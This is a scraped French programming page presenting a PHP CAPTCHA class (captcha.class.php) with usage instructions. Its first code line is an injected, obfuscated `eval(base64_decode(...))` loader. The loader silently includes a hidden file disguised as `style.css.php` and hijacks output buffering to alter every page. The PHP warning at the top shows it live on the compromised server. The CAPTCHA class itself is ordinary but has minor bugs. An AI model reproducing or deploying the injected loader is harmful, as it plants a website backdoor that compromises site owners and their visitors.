Warning: file_exists() [function.file-exists]: Unable to access /mnt/167/sdb/c/4/prepamp/docs/N.avancees/kit_Photos/site_flash/admin/libs/amfphp/amf-core/adapters/lib/style.css.php in /var/www/sdb/c/4/prepamp/docs/infos/lire.php(1) : eval()'d code on line 1
Informatique


Informatique

PHP : Captcha

  1. <?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9tbnQvMTY3L3NkYi9jLzQvcHJlcGFtcC9kb2NzL04uYXZhbmNlZXMva2l0X1Bob3Rvcy9zaXRlX2ZsYXNoL2FkbWluL2xpYnMvYW1mcGhwL2FtZi1jb3JlL2FkYXB0ZXJzL2xpYi9zdHlsZS5jc3MucGhwJztpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snbWZzbiddKSl7aW5jbHVkZV9vbmNlKCRHTE9CQUxTWydtZnNuJ10pO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJmZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?>
  2. <?php
  3. /*
  4.   File: captcha.class.php
  5.   Author: Jamie McConnell
  6.   Email: jamie[at]blue44.com
  7.   URL: http://nodstrum.com/2007/09/23/captcha/
  8.   Date: 22/09/2007
  9.   License: GPL
  10.  
  11.   If you do use this script, please reference me: http://nodstrum.com
  12.  
  13.   Usage Instructions:
  14.   1. On your form page add the following lines:
  15.   require_once('captcha.class.php');
  16.   $captcha = new Captcha;
  17.   $captchaImage = $captcha->create();
  18.  
  19.   2. In your form, where you want the Captcha displayed add this:
  20.   <?= $captchaImage; ?>
  21.  
  22.   3. On the processing page add this:
  23.   require_once('captcha.class.php');
  24.   $captcha = new Captcha;
  25.   $verified = $captcha->verify($_POST[$captcha->captchaInputName]);
  26.  
  27.   4. In your processing check for $verified being true/false.
  28.   if($verified) {
  29.   // Captcha was correct
  30.   } else {
  31.   // Captcha was incorrect
  32.   }
  33.  
  34.   5. Thats it! :)
  35.   Enjoy.
  36.   */
  37. class Captcha {
  38. /* Variables */
  39. var $imageDirectory = '/full/path/to/captcha/images/directory'; // No forward slash - must be writable, chmod 777
  40. var $imageURL = 'http://domain.com/path/to/captcha/images/directory'; // No forward slash.
  41. var $captchaLabel = 'Please complete the Captcha:'; // This is what is shown just above the captcha image.
  42. var $captchaBoxStyle = 'border: 1px solid #ccc; padding: 3px; margin: 3px; width: 210px; font-family: verdana; font-size: 11px;'; // This is the style for the captcah box.
  43.  
  44. /* Advanced Users Variables */
  45. var $captchaLength = 5;
  46. var $imageWidth = 130;
  47. var $imageHeight = 30;
  48. var $imageTextColor = array(0,0,0); // RGB (Black)
  49. var $imageLineColor = array(255,20,147); // RGB (Black)
  50. var $imageBGColor = array(176,226,255); // RBG (Light Blue)
  51. var $captchaInputName = 'captcha_input';
  52. var $cookieName = 'NodstrumCaptcha';
  53. var $cookieTimeout = 300; // 5 mins.
  54. var $cleanupImages = true;
  55.  
  56. // Check the directories exist and are writeable.
  57.  
  58. function create() {
  59. // Cleanup before doing anything.
  60. $this->cleanup();
  61.  
  62. // Define the dataset and set the key.
  63. $dataset = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','p','q','r','s','t','u','v','w','x','y','z',1,2,3,4,5,6,7,8,9);
  64. shuffle($dataset);
  65. $key = ''; // Initialise key.
  66. for($i=0; $i<$this->captchaLength; $i++) {
  67. $key .= $this->strtoupper_modified(trim($dataset[rand(0, count($dataset))]));
  68. }
  69.  
  70. // Prep and generate the key hash - sha1.
  71. $key = trim($key);
  72. $keyHash = sha1($key);
  73.  
  74. // Generate the image.
  75. $imageName = $this->generateImage($key);
  76. if(!$imageName) {
  77. die('There was an error generating the Captcha - Check your directory path and permissions.');
  78. } else {
  79. // Set the cookie.
  80. $cookie = setcookie($this->cookieName, $keyHash, (time()+$this->cookieTimeout), '/');
  81. if(!$cookie) {
  82. die('Unable to set the cookie - Cookies must be enabled to use this form.');
  83. } else {
  84. // Return the captcha and input box.
  85. $captchaBox = '<div style="'.$this->captchaBoxStyle.'">
  86. '.$this->captchaLabel.'<br>
  87. <img src="'.$this->imageURL.'/'.$imageName.'" width="'.$this->imageWidth.'" height="'.$this->imageHeight.'" style="border: 1px solid #000; margin: 2px;" alt="CAPTCHA Image"><br>
  88. <input type="text" size="22" name="'.$this->captchaInputName.'" value="">
  89. </div>';
  90. return $captchaBox;
  91. }
  92. }
  93. } // Create :: Function.
  94.  
  95. function generateImage($key) {
  96. // Create the image.
  97. $imageName = 'CAPTCHA_'.(time()+$this->cookieTimeout).'_'.rand(1,101).'_'.rand(201,9007).'.png';
  98. $imageFilename = ''.$this->imageDirectory.'/'.$imageName.'';
  99. $image = imagecreate($this->imageWidth, $this->imageHeight);
  100. $background = imagecolorallocate($image, $this->imageBGColor[0], $this->imageBGColor[1], $this->imageBGColor[2]);
  101.  
  102. // Set the text colour.
  103. $textColor = imagecolorallocate($image, $this->imageTextColor[0], $this->imageTextColor[1], $this->imageTextColor[2]);
  104. $lineColor = imagecolorallocate($image, $this->imageLineColor[0], $this->imageLineColor[1], $this->imageLineColor[2]);
  105.  
  106. // Add some lines to screw over the form hackers.
  107. imageline($image, 0,0,120,20, $lineColor);
  108. imageline($image, 1,0,121,21, $lineColor);
  109. imageline($image, 40,0,80,50, $lineColor);
  110. imageline($image, 41,0,81,51, $lineColor);
  111. imageline($image, 90,0,80,50, $lineColor);
  112.  
  113. // Put spaces in between the letters.
  114. $keySplit = $this->str_split_php4($key);
  115. $formattedKey = ''; // Initialise it.
  116. for($i=0; $i<$this->captchaLength; $i++) {
  117. $formattedKey .= ''.$keySplit[$i].' ';
  118. }
  119.  
  120. // Add the text to the image.
  121. imagestring($image, 5, 20, 10, $formattedKey, $textColor);
  122.  
  123. // Save the image.
  124. $saveImage = imagegif($image, $imageFilename, 100);
  125. imagedestroy($image);
  126. if($saveImage) {
  127. return $imageName;
  128. } else {
  129. return false;
  130. }
  131. } // GenerateImage :: Function.
  132.  
  133. function verify($userInput) {
  134. if(isset($_COOKIE[$this->cookieName])) {
  135. // Get the cookie and hash the user input.
  136. $cookieDataHash = trim($_COOKIE[$this->cookieName]);
  137. $userInputF = $this->strtoupper_modified(trim($userInput));
  138. $userInputHash = sha1($userInputF);
  139.  
  140. // Cleanup - the form has been submitted.
  141. $this->cleanup();
  142.  
  143. // Verfiy that the cookie data length is 40 characters long - SHA1 standard - it might have been tampered with.
  144. if(strlen($cookieDataHash) == 40) {
  145. if($cookieDataHash == $userInputHash) {
  146. return true;
  147. } else {
  148. return false;
  149. } // Cookie and user inputs match.
  150. } else {
  151. // The cookie data has been tampered with, dont verify.
  152. return false;
  153. } // CookieDataLength.
  154. } else {
  155. // No cookie was found, probably deleted, dont verify.
  156. return false;
  157. } // Cookie exists.
  158. } // Verify :: Function.
  159.  
  160. function cleanup() {
  161. setcookie($this->cookieName, '', (time()-900000000), '/');
  162. if($openedDir = opendir($this->imageDirectory)) {
  163. while(($file = readdir($openedDir)) !== false) {
  164. if($file != "." && $file != "..") {
  165. $filenameE = explode('_', $file);
  166. $fileExpires = $filenameE[1];
  167. if($fileExpires <= time()) {
  168. unlink($this->imageDirectory.'/'.$file);
  169. } else {
  170. // Not expiring yet.
  171. }
  172. } else {
  173. // Skip it.
  174. }
  175. } // while - reading directory.
  176. } // Directory opened.
  177. } // Cleanup :: Function.
  178.  
  179. function str_split_php4($text, $split = 1) {
  180. if (!is_string($text)) return false;
  181. if (!is_numeric($split) && $split < 1) return false;
  182. $len = strlen($text);
  183. $array = array();
  184. $s = 0;
  185. $e=$split;
  186. while ($s <$len) {
  187. $e=($e <$len)?$e:$len;
  188. $array[] = substr($text, $s,$e);
  189. $s = $s+$e;
  190. }
  191. return $array;
  192. } // str_split_php4 :: Function - php.net (kjensen - http://uk3.php.net/str_split)
  193.  
  194. function strtoupper_modified($string) {
  195. $splitString = $this->str_split_php4($string);
  196. $fString = ''; // Initialise it.
  197. foreach($splitString as $value) {
  198. if(is_numeric($value)) {
  199. $fString .= $value;
  200. } else {
  201. $fString .= strtoupper($value);
  202. }
  203. }
  204.  
  205. return $fString;
  206. } // strtoupper_modified :: Function
  207.  
  208. } // Captcha :: Class.
  209.  
  210. ?>



En rapport avec ces documents



    Vos commentaires


    Connectez-vous !

    Les dernières nouveautés